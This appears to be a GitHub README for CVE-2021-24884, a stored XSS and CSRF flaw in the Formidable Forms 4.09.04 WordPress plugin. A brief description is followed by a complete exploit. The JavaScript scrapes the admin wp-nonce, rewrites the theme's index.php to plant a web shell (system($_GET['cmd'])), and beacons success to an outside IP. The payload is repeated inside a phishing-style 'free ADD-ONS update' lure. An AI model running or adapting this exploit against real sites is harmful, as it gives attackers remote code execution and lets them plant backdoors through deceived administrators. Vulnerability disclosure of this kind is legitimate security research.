s1lkys/cve-2021-24884If an authenticated user who is able to edit Wordpress PHP code in any kind, clicks a malicious link, PHP code can be edited through XSS in Formidable Forms 4.09.04.
Formidable 4.09.04 allowed to inject certain HTML Tags like <audio>,<video>,<img>,<a> and <button>. This could allow an unauthenticated, remote attacker to exploit a HTML-injection by injecting a malicous link. The HTML-injection may trick authenticated users to follow the link. If the link gets clicked, Javascript code can be executed resulting in stored xss. The vulnerability is due to insufficient sanitization of the "data-frmverify" tag for links in the web-based entry inspection page of affected systems. A successful exploitation in combination with CSRF could allow the attacker to perform arbitrary actions on an affected system with the privileges of the user. These actions include stealing the users account by changing their password or allowing attackers to submit their own code through an authenticated user resulting in Remote Code Execution. If an authenticated user who is able to edit Wordpress PHP Code in any kind, clicks the malicious link, PHP code can be edited. Read Writeup here
<div>Delete this form entry?
<script>
var nonce = '';
var body = '';
var regex = /[a-z0-9]{10}/g;
var req = new XMLHttpRequest();
var req2 = new XMLHttpRequest();
req.open("GET","/wordpress/wp-admin/theme-editor.php?file=index.php", true);
req.setRequestHeader("X-Requested-With", "XMLHttpRequest");
req.setRequestHeader('Content-type', 'application/x-www-form-urlencoded');
req.send();
req.onreadystatechange = function () {
if (req.readyState == 4 && req.status == 200) {
body = req.responseText;
nonce = body.match(regex)[447];
}
};
setTimeout(() => {
confirm(" RCE through XSS and CSRF in Formidable 4.09.04 by Silky. Wp-nonce: "+nonce); //Confirm just for demonstration purpose.
req2.open("POST","/wordpress/wp-admin/admin-ajax.php", true);
req2.setRequestHeader("X-Requested-With", "XMLHttpRequest");
req2.setRequestHeader('Content-type', 'application/x-www-form-urlencoded');
req2.send("nonce="+nonce+"&_wp_http_referer=%2Fwordpress%2Fwp-admin%2Ftheme-editor.php%3Ffile%3Dindex.php%26theme%3Dtwentytwentyone&newcontent=%3C%3Fphp%0A%2F**%0A+*+The+main+template+file%0A+*%0A+*+This+is+the+most+generic+template+file+in+a+WordPress+theme%0A+*+and+one+of+the+two+required+files+for+a+theme+(the+other+being+style.css).%0A+*+It+is+used+to+display+a+page+when+nothing+more+specific+matches+a+query.%0A+*+E.g.%2C+it+puts+together+the+home+page+when+no+home.php+file+exists.%0A+*%0A+*+%40link+https%3A%2F%2Fdeveloper.wordpress.org%2Fthemes%2Fbasics%2Ftemplate-hierarchy%2F%0A+*%0A+*+%40package+WordPress%0A+*+%40subpackage+Twenty_Twenty_One%0A+*+%40since+Twenty+Twenty-One+1.0%0A+*%2F%0A%0Aget_header()%3B%0Aecho+system(%24_GET%5B'cmd'%5D)%3B%0Aif+(+have_posts()+)+%7B%0A%0A%09%2F%2F+Load+posts+loop.%0A%09while+(+have_posts()+)+%7B%0A%09%09the_post()%3B%0A%0A%09%09get_template_part(+'template-parts%2Fcontent%2Fcontent'%2C+get_theme_mod(+'display_excerpt_or_full_post'%2C+'excerpt'+)+)%3B%0A%09%7D%0A%0A%09%2F%2F+Previous%2Fnext+page+navigation.%0A%09twenty_twenty_one_the_posts_navigation()%3B%0A%0A%7D+else+%7B%0A%0A%09%2F%2F+If+no+content%2C+include+the+%22No+posts+found%22+template.%0A%09get_template_part(+'template-parts%2Fcontent%2Fcontent-none'+)%3B%0A%0A%7D%0A%0Aget_footer()%3B%0A&action=edit-theme-plugin-file&file=index.php&theme=twentytwentyone&docs-list=");
req2.onreadystatechange = function () {
if (req2.readyState == 4 && req2.status == 200) {
body = req2.responseText;
if (body.includes("true")){
console.log("Index.php edited");
var myImage = new Image(0, 0);
myImage.src = 'http://192.168.56.1:5686/index_edited';
}
else{
console.log("Something went wrong");
}
}
}
},2000);
</script>
</div>
=========================Full encoded payload============================================
Update now to get ADD-ONS for free!
Content-Disposition: form-data; name="item_meta[22]"
<img src="https://cdn.formidableforms.com/wp-content/uploads/2018/12/Update-makes-add-ons-simpler.jpg">
Because of our anniversary we issue a free Update for all our customers.
included are:
- New ADD-ONS
Only for a short time available
<a href="?page=formidable-entries&frm_action=destroy&id=444&form=4&frm-full=1" class="submitdelete" data-frmverify="<div>Delete this form entry?
 <script>
var nonce = '';
var body = '';
var regex = /[a-z0-9]{10}/g; 
var req = new XMLHttpRequest();
var req2 = new XMLHttpRequest();

req.open("GET","/wordpress/wp-admin/theme-editor.php?file=index.php", true); 
req.setRequestHeader("X-Requested-With", "XMLHttpRequest");
req.setRequestHeader('Content-type', 'application/x-www-form-urlencoded');
req.send(); 

req.onreadystatechange = function () {
      if (req.readyState == 4 && req.status == 200) {
        body = req.responseText;
        nonce = body.match(regex)[447];
      }
    };

setTimeout(() => {
confirm(" RCE through XSS and CSRF in Formidable 4.09.04 by Silky. Wp-nonce: "+nonce);
req2.open("POST","/wordpress/wp-admin/admin-ajax.php", true); 
req2.setRequestHeader("X-Requested-With", "XMLHttpRequest");
req2.setRequestHeader('Content-type', 'application/x-www-form-urlencoded');
req2.send("nonce="+nonce+"&_wp_http_referer=%2Fwordpress%2Fwp-admin%2Ftheme-editor.php%3Ffile%3Dindex.php%26theme%3Dtwentytwentyone&newcontent=%3C%3Fphp%0A%2F**%0A+*+The+main+template+file%0A+*%0A+*+This+is+the+most+generic+template+file+in+a+WordPress+theme%0A+*+and+one+of+the+two+required+files+for+a+theme+(the+other+being+style.css).%0A+*+It+is+used+to+display+a+page+when+nothing+more+specific+matches+a+query.%0A+*+E.g.%2C+it+puts+together+the+home+page+when+no+home.php+file+exists.%0A+*%0A+*+%40link+https%3A%2F%2Fdeveloper.wordpress.org%2Fthemes%2Fbasics%2Ftemplate-hierarchy%2F%0A+*%0A+*+%40package+WordPress%0A+*+%40subpackage+Twenty_Twenty_One%0A+*+%40since+Twenty+Twenty-One+1.0%0A+*%2F%0A%0Aget_header()%3B%0Aecho+system(%24_GET%5B'cmd'%5D)%3B%0Aif+(+have_posts()+)+%7B%0A%0A%09%2F%2F+Load+posts+loop.%0A%09while+(+have_posts()+)+%7B%0A%09%09the_post()%3B%0A%0A%09%09get_template_part(+'template-parts%2Fcontent%2Fcontent'%2C+get_theme_mod(+'display_excerpt_or_full_post'%2C+'excerpt'+)+)%3B%0A%09%7D%0A%0A%09%2F%2F+Previous%2Fnext+page+navigation.%0A%09twenty_twenty_one_the_posts_navigation()%3B%0A%0A%7D+else+%7B%0A%0A%09%2F%2F+If+no+content%2C+include+the+%22No+posts+found%22+template.%0A%09get_template_part(+'template-parts%2Fcontent%2Fcontent-none'+)%3B%0A%0A%7D%0A%0Aget_footer()%3B%0A&action=edit-theme-plugin-file&file=index.php&theme=twentytwentyone&docs-list="); 

req2.onreadystatechange = function () {
      if (req2.readyState == 4 && req2.status == 200) {
        body = req2.responseText;
        if (body.includes("true")){
            console.log("Index.php edited");
            var myImage = new Image(0, 0);
            myImage.src = 'http://192.168.56.1:5686/index_edited';
        }
        else{
            console.log("Something went wrong");
        }
      }
    }
  
  },2000);


</script></div>">Update here</a>